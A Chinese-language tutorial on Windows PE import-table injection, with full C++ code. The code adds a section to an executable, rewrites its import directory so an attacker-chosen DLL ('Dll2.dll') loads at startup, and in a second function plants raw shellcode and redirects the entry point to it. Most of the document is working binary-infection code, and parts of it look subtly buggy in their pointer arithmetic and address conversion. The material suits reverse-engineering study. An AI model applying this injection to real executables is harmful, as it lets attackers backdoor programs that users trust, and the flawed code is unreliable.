导入表注入,当程序被加载时,系统会根据程序导入表信息来加载需要用到的dll,导入表注入的原理就是修改程序的导入表,将自己的dll添加到程序的导入表中,这样程序运行时可以将自己的DLL加载到程序的进程空间。
- 将要注入dll的程序写入到内存中,并新增一个节
- 拷贝原来的导入表到新节中
- 在新节拷贝的导入表后新增一个导入表_IMAGE_IMPORT_DESCRIPTOR
- 增加8字节的INT表和8字节的IAT表
- 存储要注入的dll的名称
- 增加一个_IMAGE_IMPORT_BY_NAME结构,并将函数名称存进结构体第一个变量后的内存中
- 将_IMAGE_IMPORT_BY_NAME结构的地址的RVA赋值给INT表和IAT表第一项
- 将dll名称所在位置的首地址的RVA赋值给新增导入表的Name
- 修改IMAGE_DATA_DIRECTORY结构的VirtualAddress和Size
提示
- 根据IMAGE_DATA_DIRECTORY结构的size去拷贝导入表,将会多拷贝20字节的0,这也是导入表结束的标志,新增导入表的时候应该将此处的0进行覆盖,因为20字节的0,否则系统不会加载新增的导入表代表导入表结束了。
- INT表和IAT表的8字节是因为这两张表至少包含一项内容,才会被系统加载,剩余的4字节为0标志着表的结束。
- 结构体存储地址的变量存储都是RVA,使用时需要进行转换,有时是FOA转RVA,有时是RVA转FOA 。
代码
#include <iostream>
#include <Windows.h>
#include <tchar.h>
#include <sys/stat.h>
#include <filesystem>
using namespace std;
LPVOID readFile(PTCHAR fileName, size_t &fileSize) {
FILE *file;
fopen_s(&file, fileName, "rb");
if (nullptr == file) {
cout << "file open fail" << endl;
return nullptr;
}
struct stat fileStat;
stat(fileName, &fileStat);
size_t size = fileStat.st_size;
fileSize = size;
auto fileBuffer = malloc(size);
if (nullptr == fileBuffer) {
cout << "malloc fail" << endl;
return nullptr;
}
memset(fileBuffer, 0, size);
fread(fileBuffer, size, 1, file);
fclose(file);
return fileBuffer;
}
BOOL writeFile(LPVOID fileBuffer, unsigned long size, PTCHAR newFileName) {
FILE *file = nullptr;
fopen_s(&file, newFileName, "wb");
if (nullptr == file) {
cout << "file create fail" << endl;
return FALSE;
}
fwrite(fileBuffer, 1, size, file);
fclose(file);
return TRUE;
}
PIMAGE_NT_HEADERS getNtHeader(LPVOID buffer) {
auto docHeader = (PIMAGE_DOS_HEADER) buffer;
auto ntHeader = (PIMAGE_NT_HEADERS32) ((PTCHAR) buffer + docHeader->e_lfanew);
return ntHeader;
}
PIMAGE_OPTIONAL_HEADER getOptionalHeader(LPVOID buffer) {
auto ntHeader = getNtHeader(buffer);
return &ntHeader->OptionalHeader;
}
PIMAGE_FILE_HEADER getFileHeader(LPVOID buffer) {
auto ntHeader = getNtHeader(buffer);
return &ntHeader->FileHeader;
}
PIMAGE_SECTION_HEADER getFirstSectionHeader(LPVOID buffer) {
auto optionHeader = getOptionalHeader(buffer);
auto ntHeader = getNtHeader(buffer);
return (PIMAGE_SECTION_HEADER) ((PTCHAR) optionHeader + ntHeader->FileHeader.SizeOfOptionalHeader);
}
PIMAGE_SECTION_HEADER getLatestSectionHeader(LPVOID buffer) {
return (PIMAGE_SECTION_HEADER) (getFirstSectionHeader(buffer) + getFileHeader(buffer)->NumberOfSections - 1);
}
size_t align(size_t size, int align) {
return ((size / align) + 1) * align;
}
size_t peSize(LPVOID fileBuffer) {
auto latestSectionHeader = getLatestSectionHeader(
fileBuffer);
return latestSectionHeader->PointerToRawData + latestSectionHeader->SizeOfRawData;
}
LPVOID Rva2Foa(LPVOID buffer, DWORD rva) {
auto ntHeader = getNtHeader(buffer);
auto firstSectionHeader = getFirstSectionHeader(buffer);
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections - 1; i++) {
auto section = firstSectionHeader + i;
if (rva >= section->VirtualAddress && rva < (section->VirtualAddress + section->Misc.VirtualSize)) {
return (LPVOID) (rva - section->VirtualAddress + section->PointerToRawData);
}
}
cout << "Rva2Foa error:" << rva << endl;
return nullptr;
}
LPVOID Foa2Rva(LPVOID buffer, DWORD foa) {
auto ntHeader = getNtHeader(buffer);
auto firstSectionHeader = getFirstSectionHeader(buffer);
if (foa <= ntHeader->OptionalHeader.SizeOfHeaders) {
return (LPVOID) foa;
}
for (int i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
auto section = firstSectionHeader + i;
if (foa >= section->PointerToRawData && foa < (section->PointerToRawData + section->SizeOfRawData)) {
return (LPVOID) (foa - section->PointerToRawData + section->VirtualAddress);
}
}
cout << "Foa2Rva error:" << foa << endl;
return nullptr;
}
LPVOID addSection(LPVOID fileBuffer, PTCHAR sectionName, size_t sectionCodeSize) {
if (strlen(sectionName) >= 8) {
cout << "sectionName size < 8" << endl;
return nullptr;
}
auto ntHeader = getNtHeader(fileBuffer);
size_t fileAlign = ntHeader->OptionalHeader.FileAlignment;
size_t fileSize = peSize(fileBuffer);
size_t outFileSize = fileSize + align(sectionCodeSize, fileAlign);
auto newFileBuffer = malloc(outFileSize);
memset(newFileBuffer, 0, outFileSize);
memcpy(newFileBuffer, fileBuffer, fileSize);
free(fileBuffer);
auto newFileNtHeader = getNtHeader(newFileBuffer);
auto newOptionHeader = &newFileNtHeader->OptionalHeader;
auto newFileSectionHeader =
(PIMAGE_SECTION_HEADER) ((PTCHAR) newOptionHeader +
sizeof(*newOptionHeader));
if ((newFileSectionHeader->PointerToRawData -
(DWORD) (newFileSectionHeader + newFileNtHeader->FileHeader.NumberOfSections)) < 0x50) {
cout << "table space not enought" << endl;
return nullptr;
}
size_t sectionAlign = newFileNtHeader->OptionalHeader.SectionAlignment;
auto newFileLatestSectionHeader =
(PIMAGE_SECTION_HEADER) (newFileSectionHeader + (newFileNtHeader->FileHeader.NumberOfSections - 1));
auto addSectionHeader = newFileLatestSectionHeader + 1;
memcpy(addSectionHeader->Name, sectionName, 8);
addSectionHeader->Misc.VirtualSize = align(sectionCodeSize, sectionAlign);
addSectionHeader->VirtualAddress = align(
newFileLatestSectionHeader->VirtualAddress + newFileLatestSectionHeader->Misc.VirtualSize,
sectionAlign);
addSectionHeader->SizeOfRawData = align(sectionCodeSize, fileAlign);
addSectionHeader->PointerToRawData =
newFileLatestSectionHeader->PointerToRawData + newFileLatestSectionHeader->SizeOfRawData;
addSectionHeader->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
newFileNtHeader->FileHeader.NumberOfSections += 1;
auto firstSection = getFirstSectionHeader(newFileBuffer);
auto latestSection = (DWORD) (getLatestSectionHeader(newFileBuffer) + 1);
auto ssize = (DWORD) newFileBuffer + firstSection->PointerToRawData - latestSection;
cout << "space size : " << ssize << " --- " << "code size : " << sectionCodeSize << endl;
cout << latestSection << ":" << (DWORD) (newFileSectionHeader + newFileNtHeader->FileHeader.NumberOfSections)
<< endl;
// for (int i = 1; i < newFileNtHeader->FileHeader.NumberOfSections; i++) {
// newFileSectionHeader[i - 1].Misc.VirtualSize =
// newFileSectionHeader[i].VirtualAddress - newFileSectionHeader[i - 1].VirtualAddress;
// }
newFileNtHeader->OptionalHeader.SizeOfImage =
addSectionHeader->VirtualAddress + addSectionHeader->Misc.VirtualSize;
newFileNtHeader->OptionalHeader.SizeOfHeaders += sizeof(*addSectionHeader);
return newFileBuffer;
}
/**
* pe文件注入shellcode
*/
void hackPe() {
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";;
string currentPath = filesystem::current_path().u8string();
string fileNameStr = currentPath + R"(\..\resources\Demo.exe)";
PTCHAR fileName = fileNameStr.data();
string fileNamePeStr = currentPath + R"(\..\resources\DemoPe.exe)";
PTCHAR fileNamePe = fileNamePeStr.data();
size_t fileSize;
LPVOID fileBuffer = readFile(fileName, fileSize);
LPVOID newFileBuffer = addSection(fileBuffer, (PTCHAR) ".import", sizeof(shellcode));
auto ntHeader = getNtHeader(newFileBuffer);
auto latestSectionHeader = getLatestSectionHeader(
newFileBuffer);
memcpy((PTCHAR) newFileBuffer + latestSectionHeader->PointerToRawData, shellcode, sizeof(shellcode));
ntHeader->OptionalHeader.AddressOfEntryPoint = latestSectionHeader->VirtualAddress;
size_t outFileSize = peSize(newFileBuffer);
writeFile(newFileBuffer, outFileSize, fileNamePe);
free(newFileBuffer);
}
void peInject() {
PTCHAR sectionName = ".import";
PTCHAR injectDllName = "Dll2.dll";
PTCHAR injectFunctionName = "ExportFunction";
string currentPath = filesystem::current_path().u8string();
string fileNameStr = currentPath + R"(\..\resources\Demo.exe)";
string fileNameNewStr = currentPath + R"(\..\resources\DemoNew.exe)";
PTCHAR fileNameNewPe = fileNameNewStr.data();
PTCHAR fileName = fileNameStr.data();
size_t fileSize;
LPVOID fileBuffer = readFile(fileName, fileSize);
auto optionHeader = getOptionalHeader(fileBuffer);
auto importDirectory = &optionHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
size_t inaSize = 0x0;
size_t iatSize = 0x10;
size_t dllNameLen = strlen(injectDllName) + 1;
size_t newDataDirectoryLen = sizeof(IMAGE_IMPORT_DESCRIPTOR);
size_t emptyDataDirectoryLen = newDataDirectoryLen;
size_t functionNameLen = strlen(injectFunctionName) + 1;
size_t spaceLen = 0x2;
size_t sectionLength =
importDirectory->Size + newDataDirectoryLen + emptyDataDirectoryLen + inaSize + iatSize + dllNameLen +
functionNameLen + spaceLen;
auto firstSection = getFirstSectionHeader(fileBuffer);
auto fileAlign = optionHeader->FileAlignment;
auto sectionAlign = optionHeader->SectionAlignment;
LPVOID newFileBuffer = addSection(fileBuffer, sectionName, sectionLength);
auto dataDirectory = &getOptionalHeader(newFileBuffer)->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
auto latestSection = getLatestSectionHeader(newFileBuffer);
auto newSectionFoa = (PDWORD) ((DWORD) newFileBuffer + latestSection->PointerToRawData);
auto dataDirectionFoa = Rva2Foa(newFileBuffer, dataDirectory->VirtualAddress);
auto oldImportDirectionAddr = (PIMAGE_IMPORT_DESCRIPTOR) ((DWORD) newFileBuffer + (DWORD) dataDirectionFoa);
memcpy(newSectionFoa, oldImportDirectionAddr, dataDirectory->Size);
auto newImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) (
(DWORD) newSectionFoa + dataDirectory->Size - sizeof(IMAGE_IMPORT_DESCRIPTOR));
auto pIntTble = (PIMAGE_THUNK_DATA) ((DWORD) newImportDescriptor + 0x28);
auto originPIntTable = pIntTble;
//int
pIntTble++;
pIntTble->u1.Ordinal = 0x0;
pIntTble++;
//iat
auto pIatTable = pIntTble;
auto originPIatTable = pIatTable;
pIatTable++;
pIatTable->u1.Ordinal = 0x0;
pIatTable++;
//dll name
auto dllNameAddr = (PDWORD) pIatTable;
memcpy(dllNameAddr, injectDllName, strlen(injectDllName) + 1);
//image_import_by_name
auto functionNameAddr = (PIMAGE_IMPORT_BY_NAME) (PDWORD) (dllNameAddr + strlen(injectDllName) + 1);
auto pFunctionName = (LPVOID) ((DWORD) functionNameAddr + 0x2);
memcpy(pFunctionName, injectFunctionName, strlen(injectFunctionName) + 1);
//copy image_import_by_name to iat and int
originPIntTable->u1.AddressOfData = (DWORD) Foa2Rva(newFileBuffer,
(DWORD) functionNameAddr - (DWORD) newFileBuffer);
originPIatTable->u1.AddressOfData = originPIntTable->u1.Ordinal;
//revise name OriginFirstThunk , FirstThunk
newImportDescriptor->Name = (DWORD) Foa2Rva(newFileBuffer,
(DWORD) dllNameAddr - (DWORD) newFileBuffer);
newImportDescriptor->OriginalFirstThunk = (DWORD) Foa2Rva(newFileBuffer, (DWORD) originPIntTable -
(DWORD) newFileBuffer);
newImportDescriptor->FirstThunk = (DWORD) Foa2Rva(newFileBuffer, (DWORD) originPIatTable -
(DWORD) newFileBuffer);
//revise image_data_directory.virtualaddress and size
dataDirectory->VirtualAddress = (DWORD) Foa2Rva(newFileBuffer,
latestSection->PointerToRawData);
dataDirectory->Size += sizeof(IMAGE_IMPORT_DESCRIPTOR);
size_t newFileSize = peSize(newFileBuffer);
writeFile(newFileBuffer, newFileSize, fileNameNewPe);
}
int main() {
peInject();
return 0;
}